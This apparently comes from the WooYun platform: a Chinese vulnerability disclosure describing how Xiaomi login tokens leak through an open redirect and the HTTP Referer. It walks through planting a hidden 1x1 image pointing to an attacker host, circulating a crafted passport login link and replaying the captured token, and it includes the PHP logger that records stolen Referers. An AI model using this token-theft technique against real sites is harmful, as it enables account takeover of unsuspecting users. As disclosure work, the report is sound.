WooYun.org

我首先发了个帖子：http://bbs.xiaomi.cn/thread-4229174-1-1.html
里面有张图片（宽和高都是1，所以一般看不到），图片地址指向一个网站：http://www.****.com/logtoken.php#1.jpg
然后我到处散播这个地址http://passport.xiaomi.com/index.php?appid=2&goto=http://bbs.xiaomi.cn/thread-4229174-1-1.html
只要用户从那个地址登录后就会转到http://bbs.xiaomi.cn/thread-4229174-1-1.html?token=WVK%2B***************************************
然后这个URL就会被记录到http://www.****.com/token.txt
最后就可以获取TOKEN从http://bbs.xiaomi.cn/extra.php?mod=xiaomi/authcallback&token=WVK%2B***************************************登录了

logtoken.php
<?php
$fp=fopen("token.txt","a+") or exit("Unable to open file!");
$text="\nIP:".$_SERVER['SERVER_ADDR']."----REFERER:".$_SERVER['HTTP_REFERER']."\n";
fwrite($fp,$text);
fclose($fp);
echo $text;
?>